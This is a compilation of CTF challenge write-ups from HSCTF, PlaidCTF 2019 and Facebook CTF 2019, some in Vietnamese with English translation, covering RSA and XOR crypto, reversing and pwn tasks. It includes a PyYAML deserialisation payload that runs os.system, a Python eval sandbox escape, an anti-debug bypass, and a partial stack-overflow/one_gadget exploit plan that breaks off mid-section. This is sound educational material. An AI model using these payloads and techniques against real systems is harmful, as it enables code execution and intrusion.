^{e_1&spac;;e_2}&spac;;+&spac;;(3q)^{e_1&spac;;e_2}&spac;;\mod&spac;;n&spac;;\\&spac;;c_2^{e_1}&spac;;&=&spac;;(5p)^{e_1&spac;;e_2}&spac;;+&spac;;(7q)^{e_1&spac;;e_2}&spac;;\mod&spac;;n&spac;;\end{align*})
We want to find a way to elimintate p and write q in terms of the known values `c1,c2,e1,e2,n`. We can do this by making the coefficient for `p` the same in both lines to obtain:
^{e_1&spac;;e_2}&spac;;+&spac;;(15q)^{e_1&spac;;e_2}&spac;;\mod&spac;;n&spac;;\\&spac;;c_2^{e_1}&spac;;\cdot&spac;;2^{e_1&spac;;e_2}&spac;;&=&spac;;(10p)^{e_1&spac;;e_2}&spac;;+&spac;;(14q)^{e_1&spac;;e_2}&spac;;\mod&spac;;n&spac;;\end{align*})
We now simply take the difference between these two expressions to obtain

The value of `q` can then be found by calculating the greatest common divisor of this expression and the modulus `n`
&spac;;\\&spac;;\end{align*})
From here the rest of the challenge is a simple implementaton of cracking RSA where `p,q,e` are all known. This results in the flag `sctf{dr4_m1g_b4kl4ng3s}`
## Python Implementation
```pythonimport mathfrom Crypto.Util.number import inverse
# RSA Data
n = 808493201253189889201870335543001135601554189565265515581299663310211777902538379504356224725568544299684762515298676864780234841305269234586977253698801983902702103720999490643296577224887200359679776298145742186594264184012564477263982070542179129719002846743110253588184709450192861516287258530229754571e = 65537c = 350737073191287706245279077094231979383427790754965854345553308198026655242414098616160740809345373227967386631019166444200059217617767145638212921332649998355366471855362243913815961350928202877514312334160636449875324797999398782867956099814177529874805245928396620574131989901122269013123245826472838285
# Puzzle Data
e1 = 1761208343503953843502754832483387890309882905016316362547159951176446446095631394250857857055597269706126624665037550324e2 = 855093981351105496599755851929196798921968934195328015580099609660702808256223761150292012944728436937787478856194680752c1 = 621044266147023849688712506961435765257491308385958611483509212618354776698754113885283380553472029250381909907101400049593093179868197375351718991759160964170206380464029283789532602060341104218687078771319613484987463843848774508968091261333459191715433931164437366476062407396306790590847798240200479849c2 = 90998067941541899284683557333640940567809187562555395049596011163797067246907962672557779206183953599317295527901879872677690677734228027852200315412211302749650000923216358820727388855976845209110338837949758874186131529586510244661623437225211502919198181138808456630705718961082655889960517754937606840
#Solve for p,q
q = math.gcd(n, pow(c1, e2, n)*pow(5,e1*e2,n) - pow(c2, e1, n)*pow(2,e1*e2,n))p = n // q
# Standard RSA
phi = (p-1)*(q-1)d = inverse(e,phi)m = pow(c,d,n)print(bytes.fromhex(format(m,'x'))[:23].decode('utf-8'))
# >> sctf{dr4_m1g_b4kl4ng3s}``` |
# PlaidCTF 2019
## can you guess me (Misc 100 pts)Source:```python val = 0 inp = input("Input value: ") #input count_digits = len(set(inp)) if count_digits <= 10: # Make sure it is a number val = eval(inp) else: raise if val == secret_value_for_password: print(flag)```Ta có thể dễ dàng thấy input bị hạn chế không quá 10 kí tự khác nhau, và sẽ được xử lí qua hàm `eval()`. Nên input sẽ là 1 đoạn code nhỏ tận dụng hàm `eval()` để in ra flag.
As you can see, input is limited to no more than 10 unique characters, and it will be processed through the `eval()` function. So input will be a piece of code that uses `eval()` to print the flag.```pythonInput value: help(flag)No Python documentation found for 'PCTF{hmm_so_you_were_Able_2_g0lf_it_down?_Here_have_a_flag}'.Use help() to get the interactive help utility.Use help(str) for help on the str class.
Nope. Better luck next time.```
Còn đây là 1 input khác do teammate nghĩ ra.
And here's another input which is made by my teammate.```pythonInput value: print(vars()){'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7fed04e799e8>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': '/home/guessme/can-you-guess-me.py', '__cached__': None, 'exit': <built-in function exit>, 'secret_value_for_password': 'not even a number; this is a damn string; and it has all 26 characters of the alphabet; abcdefghijklmnopqrstuvwxyz; lol', 'flag': 'PCTF{hmm_so_you_were_Able_2_g0lf_it_down?_Here_have_a_flag}', 'exec': <function exec at 0x7fed04dc2158>, 'val': 0, 'inp': 'print(vars())', 'count_digits': 10}Nope. Better luck next time.```
## i can count (Reversing 50 pts)Tại `main`, ta có thể thấy flag_buf sẽ được tăng lên 1 sau đó qua hàm check_flag, và cứ thế lặp lại. Nên hàm trọng tâm sẽ là check_flag. Tại hàm check_flag có được định dạng của flag, đơn giản bây giờ chỉ cần biết giá trị của flag_buf.
At `main`, flag_buf will be increased by 1 then proceed to check_flag function, and so on. Beacause of that, the focal code will be check_flag. At check_flag, we will have the format of flag, simply now we just need to know the value of flag_buf.```cif ( i > 19 ){ printf("PCTF{%s}\n", flag_buf); exit(0);}```Ta sẽ thấy thêm từng kí tự trong flag_buf sẽ bị mã hoá và cuối cùng check giá trị với check_buf.
We can also see that each flag_buf character will be encoded and finally has its value checked with check_buf.```cif ( *((_BYTE *)check_buf + i) != (BYTE1(flag_buf_encoded) ^ (unsigned __int8)flag_buf_encoded) ) break;```Giá trị của check_buf.
Value of check_buf.```assembly.text:56601F64 mov edx, (check_buf - 56604000h)[esi].text:56601F6A mov eax, [ebp+i].text:56601F6D add eax, edx.text:56601F6F movzx edx, byte ptr [eax]``````assemblygdb-peda$ x/20b $eax0x5655637d: 0x93 0x42 0x05 0x93 0x04 0xcd 0x7f 0x780x56556385: 0x42 0x78 0x05 0xcd 0xcd 0x42 0x42 0x780x5655638d: 0xcd 0xb5 0xb5 0x89```
Vậy giờ ta chỉ cần debug biết từng giá trị của flag_buf sau khi đã mã hoá.
Now we just need to debug, knowing every values of flag_buf after encryption.```assembly0 -> 0x421 -> 0xCD2 -> 0x933 -> 0xCA4 -> 0x045 -> 0x056 -> 0x787 -> 0xB58 -> 0x299 -> 0x7F```
Flag:```PCTF{2052419606511006177}```
## Plaid Party Planning III (Reversing 500 pts)Nói thật thì bài này 500pts nhưng thật sự rất dễ không biết tác giả có ý đồ gì khác hay không.
To be honest, this exercise is quite easy but it gives you 500 pts. I don't know if the author has any other hidden ideas.```cv32 = "bluepichu";v36 = "mserrano";sleep((__int64)&v32, 5uLL);printt( &v32, (__int64)"Sorry we're late. There wasn't enough meat here, so I decided to go\n\tmake some spaghetti with alfredo sauce, mushrooms, and chicken at home.", v2, v3, v4, v5, a2);sleep((__int64)&v32, 1uLL);printt(&v36, (__int64)"I decided to tag along because, as you know, cheese is very desirable.", v6, v7, v8, v9);sleep((__int64)&v36, 1uLL);printt(&v32, (__int64)"And I bought a ton of extra parmesan!", v10, v11, v12, v13);sleep((__int64)&v32, 5uLL);printt(&v36, (__int64)"Anyway, we brought you guys a gift.", v14, v15, v16, v17);sleep((__int64)&v36, 1uLL);printt(&v32, (__int64)"It's a flag!", v18, v19, v20, v21);sleep((__int64)&v32, 5uLL);ptr = sub_558797A30524(a1);sprintt( (_QWORD *)(a1 + 256), (__int64)"Let me take a look. It seems to say\n\tPCTF{%s}.", (__int64)ptr, a1 + 256, v23, v24);```Chỉ cần ta gặp được 2 vị khách đến trễ này là có được flag.
We just need to meet these two late-coming guests to have the flag.```c for ( i = 0; i <= 14; ++i ){ if ( pthread_create((pthread_t *)&th[i], 0LL, start_routine, (void *)(a1 + 32LL * i)) ) abort(); } for ( j = 0; j <= 14; ++j ){ if ( pthread_join(th[j], 0LL) ) abort(); }```Để ý chúng ta sẽ thấy 2 vòng for này khiến chương trình của chúng ta bị abort. Vậy đơn giản chỉ cần bypass qua đoạn code này là ta đã có được flag...
Notice that these two for loops will make our program aborted, so we just simply bypass this code to have the flag...```Alphabetical it is, I guess.Simulating the dinner...
bluepichu: Sorry we're late. There wasn't enough meat here, so I decided to go make some spaghetti with alfredo sauce, mushrooms, and chicken at home.mserrano: I decided to tag along because, as you know, cheese is very desirable.bluepichu: And I bought a ton of extra parmesan!mserrano: Anyway, we brought you guys a gift.bluepichu: It's a flag!strikeskids: Let me take a look. It seems to say PCTF{1 l1v3 1n th3 1nt3rs3ct1on of CSP and s3cur1ty and parti3s!}.strikeskids: Hopefully that's useful to someone.```
## A Whaley Good Joke (Misc 150 pts)```sh$ file pctf-whales_169aeb74f82dcdceb76e36a6c4c22a89 pctf-whales_169aeb74f82dcdceb76e36a6c4c22a89: gzip compressed data, last modified: Sat Apr 13 21:56:25 2019, from Unix, original size 119234560```Ở đây ta thấy đây file `tar.gz`, khi extract ta sẽ thấy thư mục và file với tên đã là mã sha256, file `manifest.json` và `repositories`. Tìm hiểu thêm vào các file thì mình biết đây là 1 docker imagine nhưng khi thử chạy trên docker thì không được. Sau đó đọc trong file `manifest.json` ta thấy 2 layer cuối cùng là `24d12bbeb0a9fd321a8decc0c544f84bf1f6fc2fd69fa043602e012e3ee6558b` và `b94e5d83dbbff95e883f0f53bcf47c017471b13d81325697be6e22cdc8c369aa`. Vì lúc extract mình đã bị lỗi không thể ra được file `layer.tar` trong `24d12bb...` nên xem trong `b94e...` thì ta thấy file `flag.sh`.
Here, we can see `tar.gz`, extract and we will have folders and files that have their name sha256 encoded, file `manifest.json` and `repositories`. By learning more about these files, I discovered that this is a doker imagine but couldn't be tested on dorker. After reading `manifest.json`, we can see the last two layers are `24d12bbeb0a9fd321a8decc0c544f84bf1f6fc2fd69fa043602e012e3ee6558b` and `b94e5d83dbbff95e883f0f53bcf47c017471b13d81325697be6e22cdc8c369aa`. Because when extracting, I failed to extract `layer.taz` from `24d12bb...`, so I tried using `b94e5d8...` and got `flag.sh`.```sh#!/bin/bash
for i in {1..32}do test -f $i if [[ $? -ne 0 ]] then echo "Missing file $i - no flag for you!" exit fidone
echo pctf{1_b3t$(cat 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32)}```
Vậy ta chỉ cần tìm thêm các file `1` `2`... nữa nhưng vì ở có quá nhiều file trùng nhau, và cũng không thể biết được thứ tự thực hiện nên mình quyết định brute-force.
So we just need to look for the `1`, `2`,... files, but because there are too many files overlap, and we can't know the order of execution, so I decided to brute-force.```pythona1 = ['t', 'k', '_']a2 = ['t', '4', 'u']a3 = ['z', '_']a4 = ['a', 'c', 's', '_']a5 = ['l', 'o', 'u']a6 = ['u', 'k']a7 = ['l', 'z']a8 = ['t', 'g', 'd']a9 = ['n']a10 = ['_', '7', 'n']a11 = ['0', 't', '7', '_', 'v']a12 = ['s', 'c']a13 = ['0']a14 = ['l', 'n']a15 = ['t', 'k']a16 = ['4', 'n', '3']a17 = ['q', 'm', 'i']a18 = ['6', '7', 'n']a19 = ['_', 't', 'n', '8', '3']a20 = ['e', '_', 'r']a21 = ['_', 't']a22 = ['u']a23 = ['i', 't', 'r']a24 = ['2', 'e', '_']a25 = ['l', '_']a26 = ['4', '7', '_']a27 = ['u']a28 = ['_', 'b', 'g']a29 = ['h']a30 = ['t', '_']a31 = ['e', '3']a32 = ['r']
flag = 'pctf{1_b3t'```Khá khó với 32 kí tự nhưng sẽ đoán được flag là `pctf{1_b3t_u_couldnt_c0nt4in3r_ur_l4ught3r}`.
Pretty hard with 32 characters but i guessed flag. |
# Skywriting v2```Written by: NotDeGhost
Fortnite Battle Royale contains a variety of weapons and this page lists every weapon in Fortnite along with their weapon stats like damage, DPS, fire rate, magazine size, and reload speed.
Note: This was a throwback to the original skywriting which included many big leaps of intuition.
This problem has now been modified to make it more doable.
Hint 1: I like xoring together the names of "Rifle"s together. Hint 2: Try googling the first sentence of this problem.
Flag: LjUlMiA9LxI1GTUTNiodECAtUSx5YxY4```Disappointed with this challenge...
I saw the hint it gave us:```From each name derives a key, equal to chr * len(name) where chr is some char and name is the name. XOR all the keys w/ the cipher to get the flag.```So I used python to brute force the key:```pythonfrom pwn import xorimport stringtext = 'LjUlMiA9LxI1GTUTNiodECAtUSx5YxY4'.decode('base64')for i in string.ascii_letters: print xor(text,i),i```Result:```...hsctf{iTs_sUpl[Vfk?j?%P~ F...```Found part of the flag with `F` as key
`iTs_sUp` is correct I guess, next two letter should be `er`
Modify the script to brute force next part of flag:```pythonfor i in string.ascii_letters: print xor(text[13:],i),i```
Result:```...eR_ob?c6,Yw O ...```Combine both together become : `hsctf{iTs_sUpeR_ob`
The whole flag should be something like : `hsctf{iTs_sUpeR_obViOus}`
Couldn't find next part of key, I just brute force it at the CTF website (Brute force uppercase and lowercase)
And the whole key is pretty weird : `FFFFFFFFFFFFFOOOOO\x07E\x16\x16EE`
## Flag> hsctf{iTs_sUpeR_obViouS} |
(full writeup at link)
After testing for errors, you get a response that doesn't typically happen when parsing JSON. Google the error message (in my case, `while parsing a flow mapping`) and see that it's YAML
Take advantage of yaml.load() apply tag:```!!python/object/apply:os.system ["cat flag.txt"]hsctf{JS0N_or_Y4ML}``` |
# Super Secure SystemDescription```Written by: Tux
Keith made a SUPER SECURE SYSTEM!!! He claims it is so secure as long as he doesn't reuse his key...
nc crypto.hsctf.com 8111```Netcat to it:```* * * SUPER SECURE SYSTEM * * *My encryption system is impossible to crack if used once!You can use this system to encrypt any of your messages with my super special key!!!Here is my super secret message: 19365a28254c3b6f32244b5d2a125f55561d0c0e19685740787e0136504679277d4012730f1354464d60592f52676f4015642f5a32
Enter the message you want to encrypt:```Testing with the encryption method:```Enter the message you want to encrypt: a
Encrypted: 10
aEnter the message you want to encrypt: a
Encrypted: 1024
Enter the message you want to encrypt: aaa
Encrypted: 102458
Enter the message you want to encrypt: aaaa
Encrypted: 1024583d```After a few testing, the encrypted text length is same as the plaintext (original text)
I guess the encryption algorithm is using XOR (Exclusive OR):```Example (In binary):1 xor 1 = 01 xor 0 = 10 xor 1 = 10 xor 0 = 0``` What special about XOR is the encryption method is same as decryption method:```Example:Assume 6 is the key(Encryption)19 xor 6 = 21 10011 19 110 6 ----- 10101 21(Decryption)21 xor 6 = 19 10101 21 110 6 ----- 10011 19```In this case, we don't know the key.
But we can encrypt text with the same key, then finding the key is easy!```Example:Assume 19 is flag, 6 is key19 xor 6 = 21 10011 19 110 6 ----- 10101 21 (Encrypted flag)
I type 24, then it show me encrypted text24 xor 6 = 30 11000 24 110 6 ----- 11110 30 (Encrypted text)
I use 30 xor 24 to find the key30 xor 24 = 30 11110 30 11000 24 ----- 00110 6 (Key found)
I use the key to get flag21 xor 6 = 19 10101 21 110 6 ----- 10011 19 (Flag)```Easy right?
Now we need to count the encrypted message length:```>>> len("19365a28254c3b6f32244b5d2a125f55561d0c0e19685740787e0136504679277d4012730f1354464d60592f52676f4015642f5a32")/253```Then we need to input 53 characters to find the key, because key and message must be same length
I wrote a [python script](solve.py) to solve it!```pythonfrom pwn import xor,remotep = remote('crypto.hsctf.com',8111)p.recvuntil("Here is my super secret message: ")enc_flag = p.recvuntil("\n")[:-1].decode('hex')p.sendlineafter("Enter the message you want to encrypt: ",'f'*53)p.recvuntil("Encrypted: ")encrypted = p.recv()[:-2].decode('hex')key = xor(encrypted,'f'*53)flag = xor(enc_flag,key)print flag```## Result```[x] Opening connection to crypto.hsctf.com on port 8111[x] Opening connection to crypto.hsctf.com on port 8111: Trying 134.209.219.179[+] Opening connection to crypto.hsctf.com on port 8111: Donehsctf{h0w_d3d_y3u_de3cryP4_th3_s1p3R_s3cuR3_m355a9e?}[*] Closed connection to crypto.hsctf.com port 8111```# Flag> hsctf{h0w_d3d_y3u_de3cryP4_th3_s1p3R_s3cuR3_m355a9e?} |
# Facebook CTF 2019
## imageprot
Bài này mình quyết định debug để hiểu rõ flow của chương trình nên làm khá tốn thời gian.
Đầu tiền main gọi `std::rt::lang_start_internal::h578aadb15b8a79f8` - hàm này đơn giản chỉ là obfuscate để dấu việc trực tiếp gọi hàm `imageprot::main::h60a99eb3d3587835` (hàm main thật sự)
Trong hàm main chính này, sử dụng hàm `imageprot::decrypt::h56022ac7eed95389` làm phương thức obfuscate chính.
Hàm `imageprot::decrypt::h56022ac7eed95389()` này nhận 3 argument và tiến hành decrypt. Thuật toán khá đơn giản là decode_base64(arg3) XOR với arg2
I spent a lot of time to debugging to clearly understanding the control flow of the program.
Firstly, the main() function calls `std::rt::lang_start_internal::h578aadb15b8a79f8` function - this function just do the work that hidding the direct `imageprot::main::h60a99eb3d3587835` function call (which is the real main() function) by using obfuscation technique.
This real main() function using `imageprot::decrypt::h56022ac7eed95389` function as the major obfuscation method. So what does `imageprot::decrypt::h56022ac7eed95389` function do?
The answer is this function takes 3 arguments then start to decrypt by using a simple algorithm: decode_base64(arg3) XOR arg2
```cbase64::decode::decode::h5b239420e35447bb(&a3_base64, arg3);```
```cdecode_i = *(_BYTE *)(arg3_base64_ + i) ^ *(_BYTE *)(arg2_ + i % len_arg2);```
Ở vòng lặp đầu tiên, chương trình sử dụng hàm `imageprot::decrypt::h56022ac7eed95389` decrypt ra 4 string là `gdb`, `vmtoolsd`, `vagrant` và `VBoxClient` (Cái này mình không chắc nhưng lúc debug tiếp thì có 1 đoạn check 4 string này, có vẻ là require để chạy chương trình)
Ngay sau đó, chương trình tiếp tục sử dụng hàm `imageprot::decrypt::h56022ac7eed95389` decrypt ra 1 url là `http://challenges.fbctf.com/vault_is_intern` sau đó gọi hàm `imageprot::get_uri::h3e649992b59ca680` để get url này. Vì trang này đã down nên chương trình sẽ ngắt tại đây (lí do chương trình không thể chạy)
On the first loop, the program uses `imageprot::decrypt::h56022ac7eed95389` function and decrypt. It returns 4 strings: `gdb`, `vmtoolsd`, `vagrant` and `VBoxClient` (I'm not sure about this but when I continue debugging I found a check 4 strings part, it seems like a requirement of running the program).
Shortly, the program continuing uses `imageprot::decrypt::h56022ac7eed95389()` function. It returns an url. Then the program call `imageprot::get_uri::h3e649992b59ca680` function to get this url. Because the site `http://challenges.fbctf.com/vault_is_intern` is down so the program will break at this point.

Tiếp theo hoàn toàn tương tự với 1 url khác `http://httpbin.org/status/418` nhưng trang hoàn toàn bình thường nên sẽ lấy dữ liệu từ trang này.
Simmilar to a different url but now the site is available so program can get its data.

Cuối cùng, hàm `imageprot::decrypt::h56022ac7eed95389()` xử lí 1 mã base64 khá lớn với dữ liệu được get từ `http://httpbin.org/status/418` (mình thấy sau sau đó có gọi một số hàm md5 tưởng vẫn chưa hết nên lan man đoạn cuối này khá lâu)
Finally, the `imageprot::decrypt::h56022ac7eed95389()` function analyzes a quite large base64 code with the data receive from `http://httpbin.org/status/418` (After that I found some md5 functions that makes me think the program still not end. Hence, it took me many times to completing the challenge).

Vì đoạn mã base64 khá lớn và đề cũng yêu cầu `...get the photo back out` nên mình đoán đây là 1 file. Nên tiến hành export nó ra và giãi mã nó.
Because the base64 code is fairly large and the desciprtion of the challenge is `...get the photo back out` so I guessed this is a file. Export it then decode to get flag.
Đây là đoạn script giải mã:
Here is a script to decode it:
[restore-image.py](/fbctf2019/imageprot/restore-image.py)

## SOMBRERO ROJO (part 1)main:```cif ( argc <= 1 ) { printt("Give me some args!", argv); returnn(1LL);}if ( argc == 2 ) { decod3((__int64)&fake_flag); decod3((__int64)&check_str); if ( (unsigned int)str_cmp((__int64)&check_str, (__int64)argv[1]) ) { pr1nt(1, (__int64)"Hmmm..."); printt("Try again!", "Hmmm..."); returnn(1LL); } argv = (const char **)"%s{%s}\n"; v3 = (__int16 *)1; LOBYTE(pre_fake_flag) = pre_fake_flag + 8; BYTE1(pre_fake_flag) += 3; BYTE2(pre_fake_flag) += 15; HIBYTE(pre_fake_flag) -= 2; LOBYTE(v11) = v11 - 2; // decode str to Nope pr1nt(1, (__int64)"%s{%s}\n", &pre_fake_flag, &fake_flag);}else { v3 = &v8; v8 = 10554; v9 = 0; printt(&v8, argv); // print ':)'}```Hàm main này đơn giản chỉ là check argument với `my_sUp3r_s3cret_p@$$w0rd1` và in ra 1 flag giả là `Nope{Lolz_this_isnt_the_flag...Try again...}`. Stuck đoạn này khá lâu thì có 1 hint của anh m3kk_kn1ght: `Binary check debugger by using ptrace. Ptrace call in sub_4005A0(a function in init_array of elf)`.
Sau đó mình tìm các initialization functions trong `.init_array`, thấy hàm `sub_4005A0` có sử dụng hàm `ptrace` (sub__44EC50) để anti-debug nên tiến hành debug hàm này. (Để bypass qua `ptrace` có rất nhiều cách, ở đây mình đơn giản là set cờ ZF = 0)
Sau khi bypass qua ta sẽ thấy binary đọc file `/tmp/key.bin` và check dữ liệu từ key.bin trước khi in flag. Vì mình muốn lấy flag nên bypass qua thay vì decrypt để biết require của key.bin
This main() function basically checking argument with `my_sUp3r_s3cret_p@$$w0rd1` and printing a fake flag: `Nope{Lolz_this_isnt_the_flag...Try again...}`. I'd got stuck for a long time until got a hint from @m3kk_kn1ght: `Binary check debugger by using ptrace. Ptrace call in sub_4005A0(a function in init_array of elf)`.
After that I looked for initialization functions on `.init_array`, then I found `sub_4005A0` function used `ptrace` (sub_44EC50) function to anti-debug so I started to debug this function (There are many ways to bypass through `ptrace` function, basically I set ZF flag value to zero)
After bypassing ptrace function successfully, easily found that the binary read file `/tmp/key.bin` and check data from key.bin before print the flag. In conclusion, to get the flag, all the thing we need is bypass the check data from `/tmp/key.bin` part.
access file /tmp/key.bincheck /tmp/key.bin data```=========================================================[11] Accepting connection from 192.168.85.1...Warning: Bad ELF byte sex 2 for the indicated machinefb{7h47_W4sn7_S0_H4Rd}```
## go_get_the_flagBài này khá đơn giản, vì cho sau nên đoán là này chỉ để cho điểm.
Binary là dạng ELF đã tripped. Nên mình xử lí bằng `radare2`
Check function tìm được các hàm chính:
This challenge is quite simple. The binary file has a ELF format and it was tripped. And so I decided to use `radare2` to analyze it.
To begin with, I checked function and found many important function below:```python0x004916b0 341 sym.go.main.main0x00491810 537 sym.go.main.checkpassword0x00491a30 1092 sym.go.main.decryptflag0x00491e80 151 sym.go.main.wrongpass0x00491f20 117 sym.go.main.init```
Ở hàm `sym.go.main.checkpassword`, ta thấy có kiểm tra argument qua hàm memequal với `s0_M4NY_Func710n2!`
Then, I found that at `sym.go.main.checkpassword` function had a check argument through memequal with `s0_M4NY_Func710n2!`
```assembly0x00491868 488b8c24c800. mov rcx, qword [arg_c8h] ; [0xc8:8]=-1 ; 200 0x00491870 48890c24 mov qword [rsp], rcx 0x00491874 488d15d05803. lea rdx, [0x004c714b] ; "s0_M4NY_Func710n2!streams pipe errorsystem page size (tracebackancestorsuse of clo0x0049187b 4889542408 mov qword [var_8h], rdx 0x00491880 4889442410 mov qword [var_10h], rax 0x00491885 e8660bf7ff call sym.go.runtime.memequal ;[2] 0x0049188a 807c241800 cmp byte [var_18h], 0 ; [0x18:1]=255 ; 0 0x0049188f 74c2 je 0x491853```Now it's easy to get flag:
```sh[hsc@hscorpion dist]$ ./ggtf s0_M4NY_Func710n2!fb{.60pcln74b_15_4w350m3}``` |
# Writeups# 2020## B01Lers CTFhttps://http://ctfd2.ctf.b01lers.net/https://github.com/chaocipher/Writeups/blob/master/B01lers%20CTF%202020.pdf
# 2019## Facebook CTF https://www.fbctf.comhttps://github.com/chaocipher/Writeups/blob/master/Facebook%20CTF%202019.pdf
# 2018## ASIS CTF https://asisctf.comhttps://github.com/chaocipher/Writeups/blob/master/The%20Early%20School.pdfhttps://github.com/chaocipher/Writeups/blob/master/ASIS%202018%20-%20Warm%20up.pdf
## Hacker Easterhttps://hackyeaster.hacking-lab.com/hackyeaster/https://github.com/chaocipher/Writeups/blob/master/HackyEaster2018Teaser-Write-up.txt
## Hitconhttps://github.com/chaocipher/Writeups/blob/master/Hitcon%202018%20-%20EV3%20Scanner.pdf
## Meepwn CTFhttps://github.com/chaocipher/Writeups/blob/master/Meepwn2018-whitesnow.pdf
## SecurityFest CTFhttps://github.com/chaocipher/Writeups/blob/master/Secfest%202018%20-%20Writeups.pdf
|
# Locked Up
```My friend gave me a zip file with the flag in it, but the zip file is encrypted. Can you help me open the zip file?```
(File(s): attachments/locked.zip)
The zip archive is password protected. However, something to note about password protected zip archives is that they are not 100% secure. Let's try running `strings` on the archive to see how much comprehensible data we can get from it, and then run `grep` to find the flag.
```$ strings locked.zip | grep "hsctf"hsctf{w0w_z1ps_ar3nt_th@t_secUr3}UT hsctf{w0w_z1ps_ar3nt_th@t_secUr3}UT``` |
# MD5-- (Web 237 points)

## Source code
```
```
This piece of code is checking for a string whose md4 hash is equal to itself.
But one more thing that needs to be observed here is the usage of "==" instead of "===".
This means php type juggling is possible.
The code is available [here](crack.py)
## References1) https://github.com/bl4de/ctf/blob/master/2017/HackDatKiwi_CTF_2017/md5games1/md5games1.md |
# Hidden Flag
## Description
This image seems wrong.....did Keith lose the key __again__?
[chall.png](chall.png)
## Solution
An error occured when opening the file.
The hexdump of the file give me an interesting line in the last line.

However, I don't have any idea where to use the key.
After trying a lot of different way to analyse the file, the [xortool](https://github.com/hellman/xortool) catch my eye.

It xor the whole file with different possible key.
The first key it use is literally invisible, and the first [file](xor.png) of the output give us the flag

```hsctf{n0t_1nv1s1bl3_an5m0r3?_39547632}``` |
# Super Secure System
## Description
Keith made a SUPER SECURE SYSTEM!!! He claims it is so secure as long as he doesn't reuse his key...
nc crypto.hsctf.com 8111
## Solution
Sending 'hsctf{' to the server, I realized that it the output matched some of the first line.

So I just wrote [script](solve.py) to sent all printable characters until it matched the answer.
```hsctf{h0w_d3d_y3u_de3cryP4_th3_s1p3R_s3cuR3_m355a9e?}``` |
# hs 2019 storytime
Let's take a look at the binary:
```$ file storytimestorytime: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=3f716e7aa7e236824c52ed0410c1f14739919822, not stripped$ pwn checksec storytime[*] '/Hackery/hs/storytime/storytime' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)$ ./storytimeHSCTF PWNNNNNNNNNNNNNNNNNNNNTell me a story:15935728```
So we are dealing with a `64` bit dynamically linked binary that has a non-executable stack. When we run it, it prompts us for input. Let's look at the main function in Ghidra:
```undefined8 main(void)
{ undefined input [48]; setvbuf(stdout,(char *)0x0,2,0); write(1,"HSCTF PWNNNNNNNNNNNNNNNNNNNN\n",0x1d); write(1,"Tell me a story: \n",0x12); read(0,input,400); return 0;}```
So we can see that it starts out by printing some data with the `write` function. Proceeding that it will scan in `400` bytes of data into `input` (which can only hold `48` bytes), and give us a buffer overflow. There is no stack canary, so there isn't anything stopping us from executing code. The question is, what will we execute?
Looking under the imports in Ghidra, we can see that our imported functions are `read`, `write`, and `setvbuf`. Since PIE is not enabled, we can call any of these functions. Also since the elf is dynamically linked (and a pretty small binary), we don't have a lot of gadgets. My plan to go about getting a shell has two parts. The first part is getting a libc infoleak with a `write` function that writes to `stdout` (`1`), then loop back again to a vulnerable read call and overwrite the return address with a onedgadget. A onegadget is essentially a single ROP gadget that can be found in the libc, that if the right conditions are meant when it is ran, it will give you a shell (the project for the onegadget finder can be found at: https://github.com/david942j/one_gadget).
The issue with this is we don't know what version of libc is running on a server. For this I looked at what libc version they gave out for other challenges and guessed and checked. After a bit I found that it was libc version `libc.so.6`. However before I did that I got it working locally with my own libc. To see what libc file your binary is loaded with, and where the file is stored, you can just run the `vmmap` command in gdb while the binary is running:
```gef➤ vmmapStart End Offset Perm Path0x0000000000400000 0x0000000000401000 0x0000000000000000 r-x /Hackery/hs/storytime/storytime0x0000000000600000 0x0000000000601000 0x0000000000000000 r-- /Hackery/hs/storytime/storytime0x0000000000601000 0x0000000000602000 0x0000000000001000 rw- /Hackery/hs/storytime/storytime0x00007ffff79e4000 0x00007ffff7bcb000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.27.so0x00007ffff7bcb000 0x00007ffff7dcb000 0x00000000001e7000 --- /lib/x86_64-linux-gnu/libc-2.27.so0x00007ffff7dcb000 0x00007ffff7dcf000 0x00000000001e7000 r-- /lib/x86_64-linux-gnu/libc-2.27.so0x00007ffff7dcf000 0x00007ffff7dd1000 0x00000000001eb000 rw- /lib/x86_64-linux-gnu/libc-2.27.so0x00007ffff7dd1000 0x00007ffff7dd5000 0x0000000000000000 rw-0x00007ffff7dd5000 0x00007ffff7dfc000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/ld-2.27.so0x00007ffff7fd9000 0x00007ffff7fdb000 0x0000000000000000 rw-0x00007ffff7ff7000 0x00007ffff7ffa000 0x0000000000000000 r-- [vvar]0x00007ffff7ffa000 0x00007ffff7ffc000 0x0000000000000000 r-x [vdso]0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000027000 r-- /lib/x86_64-linux-gnu/ld-2.27.so0x00007ffff7ffd000 0x00007ffff7ffe000 0x0000000000028000 rw- /lib/x86_64-linux-gnu/ld-2.27.so0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]```
Also the indication I used to see if I had the right libc version (doesn't work 100% of the time), but when I would try and calculate the base of the libc using offsets, it ended with several zeros that would usually be a good indication.
Now back to the exploitation. There are `0x38` bytes between the start of our input and the return address (`48` for the size of the char buffer, and `8` for the saved base pointer). Now for the write libc infoleak we will need the `rdi` register to have the value `0x1` to specify the stdout file handle, `rsi` to have the address of the got entry for write (since that will give us the libc address for write), and `rdx` to have a value greater than or equal to `8` (to leak the address). Also since PIE isn't enabled, we know the address of the got entry without a PIE infoleak. Looking at the assembly code leading up to the `ret` instruction which gives us code execution, we can see that the `rdx` register is set to `0x190` which will fit our needs.
``` 00400684 ba 90 01 MOV EDX,0x190 00 00 00400689 48 89 c6 MOV RSI,RAX 0040068c bf 00 00 MOV EDI,0x0 00 00 00400691 e8 1a fe CALL read ssize_t read(int __fd, void * __ ff ff 00400696 b8 00 00 MOV EAX,0x0 00 00 0040069b c9 LEAVE 0040069c c3 RET```
